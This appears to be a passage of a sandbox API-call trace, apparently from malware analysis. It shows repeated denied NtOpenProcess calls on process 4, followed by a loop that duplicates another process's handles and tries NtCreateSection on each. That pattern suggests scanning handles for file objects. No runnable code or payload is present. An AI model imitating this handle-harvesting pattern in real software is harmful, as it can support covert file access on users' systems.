	[0072.698] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.698] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.698] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.698] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.698] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.698] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.698] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.698] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.698] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.699] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.699] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.699] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.699] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.699] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.699] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.699] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.699] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.699] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.699] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.699] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.699] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.699] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.699] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.699] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.701] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x320) returned 0x0
	[0072.701] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x320 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.701] NtClose (Handle=0x320) returned 0x0
	[0072.701] NtClose (Handle=0x31c) returned 0x0
	[0072.701] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x320) returned 0x0
	[0072.701] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x320 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.701] NtClose (Handle=0x320) returned 0x0
	[0072.701] NtClose (Handle=0x31c) returned 0x0
	[0072.701] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0xc, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x320) returned 0x0
	[0072.702] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x320 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.702] NtClose (Handle=0x320) returned 0x0
	[0072.702] NtClose (Handle=0x31c) returned 0x0
	[0072.702] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x10, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x320) returned 0x0
	[0072.702] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x320 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.702] NtClose (Handle=0x320) returned 0x0
	[0072.702] NtClose (Handle=0x31c) returned 0x0
	[0072.702] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x14, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x320) returned 0x0
	[0072.702] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x320 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.702] NtClose (Handle=0x320) returned 0x0
	[0072.702] NtClose (Handle=0x31c) returned 0x0
	[0072.702] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x18, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x320) returned 0x0
	[0072.702] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x320 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.702] NtClose (Handle=0x320) returned 0x0
	[0072.702] NtClose (Handle=0x31c) returned 0x0
	[0072.702] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x1c, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x320) returned 0x0
	[0072.702] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x320 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.702] NtClose (Handle=0x320) returned 0x0
	[0072.702] NtClose (Handle=0x31c) returned 0x0
	[0072.702] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x20, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x320) returned 0x0
	[0072.702] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x320 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.702] NtClose (Handle=0x320) returned 0x0
	[0072.702] NtClose (Handle=0x31c) returned 0x0
	[0072.703] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x24, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x0) returned 0xc00000bb
	[0072.703] NtClose (Handle=0x31c) returned 0x0
	[0072.703] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x28, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x0) returned 0xc00000bb
	[0072.703] NtClose (Handle=0x31c) returned 0x0
	[0072.703] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x2c, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x0) returned 0xc00000bb
	[0072.703] NtClose (Handle=0x31c) returned 0x0
	[0072.703] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x30, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x320) returned 0x0
	[0072.703] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x320 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.703] NtClose (Handle=0x320) returned 0x0
	[0072.703] NtClose (Handle=0x31c) returned 0x0
	[0072.703] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x34, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x320) returned 0x0
	[0072.703] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x320 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.703] NtClose (Handle=0x320) returned 0x0
	[0072.703] NtClose (Handle=0x31c) returned 0x0
	[0072.703] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x38, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x320) returned 0x0
	[0072.703] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x320 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.703] NtClose (Handle=0x320) returned 0x0
	[0072.703] NtClose (Handle=0x31c) returned 0x0
	[0072.703] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x3c, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x320) returned 0x0
	[0072.703] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x320 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000022
	[0072.704] NtClose (Handle=0x320) returned 0x0
	[0072.704] NtClose (Handle=0x31c) returned 0x0
	[0072.704] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x40, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x0) returned 0xc00000bb
	[0072.704] NtClose (Handle=0x31c) returned 0x0
	[0072.704] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x44, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x0) returned 0xc00000bb
	[0072.704] NtClose (Handle=0x31c) returned 0x0
	[0072.704] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x48, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x320) returned 0x0
	[0072.704] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x320 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.704] NtClose (Handle=0x320) returned 0x0
	[0072.704] NtClose (Handle=0x31c) returned 0x0
	[0072.704] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x4c, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x320) returned 0x0
	[0072.704] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x320 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.704] NtClose (Handle=0x320) returned 0x0
	[0072.704] NtClose (Handle=0x31c) returned 0x0
	[0072.704] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x50, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x320) returned 0x0
	[0072.704] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x320 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.704] NtClose (Handle=0x320) returned 0x0
	[0072.704] NtClose (Handle=0x31c) returned 0x0
	[0072.704] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x54, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x320) returned 0x0
	[0072.704] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x320 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.704] NtClose (Handle=0x320) returned 0x0
	[0072.705] NtClose (Handle=0x31c) returned 0x0
	[0072.705] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x58, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x320) returned 0x0
	[0072.705] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x320 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.705] NtClose (Handle=0x320) returned 0x0
	[0072.705] NtClose (Handle=0x31c) returned 0x0
	[0072.705] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x5c, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x320) returned 0x0
	[0072.705] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x320 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.705] NtClose (Handle=0x320) returned 0x0
	[0072.705] NtClose (Handle=0x31c) returned 0x0
	[0072.705] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x60, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x320) returned 0x0
	[0072.705] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x320 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.705] NtClose (Handle=0x320) returned 0x0
	[0072.705] NtClose (Handle=0x31c) returned 0x0
	[0072.705] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x64, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x320) returned 0x0
	[0072.705] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x320 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.705] NtClose (Handle=0x320) returned 0x0
	[0072.705] NtClose (Handle=0x31c) returned 0x0
	[0072.705] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x68, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x320) returned 0x0
	[0072.705] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x320 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.705] NtClose (Handle=0x320) returned 0x0
	[0072.705] NtClose (Handle=0x31c) returned 0x0
	[0072.705] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x6c, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x0) returned 0xc00000bb
	[0072.705] NtClose (Handle=0x31c) returned 0x0
	[0072.706] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x70, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x320) returned 0x0
	[0072.706] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x320 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.706] NtClose (Handle=0x320) returned 0x0
	[0072.706] NtClose (Handle=0x31c) returned 0x0
	[0072.706] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x74, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x320) returned 0x0
	[0072.706] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x320 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000020
	[0072.706] NtClose (Handle=0x320) returned 0x0
	[0072.706] NtClose (Handle=0x31c) returned 0x0
	[0072.706] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x78, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x0) returned 0xc00000bb
	[0072.706] NtClose (Handle=0x31c) returned 0x0
	[0072.706] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x7c, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x0) returned 0xc00000bb
	[0072.706] NtClose (Handle=0x31c) returned 0x0
	[0072.706] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x80, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x0) returned 0xc00000bb
	[0072.706] NtClose (Handle=0x31c) returned 0x0
	[0072.706] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x84, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x320) returned 0x0
	[0072.706] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x320 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.706] NtClose (Handle=0x320) returned 0x0
	[0072.706] NtClose (Handle=0x31c) returned 0x0
	[0072.706] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x88, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x320) returned 0x0
	[0072.706] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x320 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.706] NtClose (Handle=0x320) returned 0x0
	[0072.706] NtClose (Handle=0x31c) returned 0x0
	[0072.707] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x8c, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x320) returned 0x0
	[0072.707] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x320 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.707] NtClose (Handle=0x320) returned 0x0
	[0072.707] NtClose (Handle=0x31c) returned 0x0
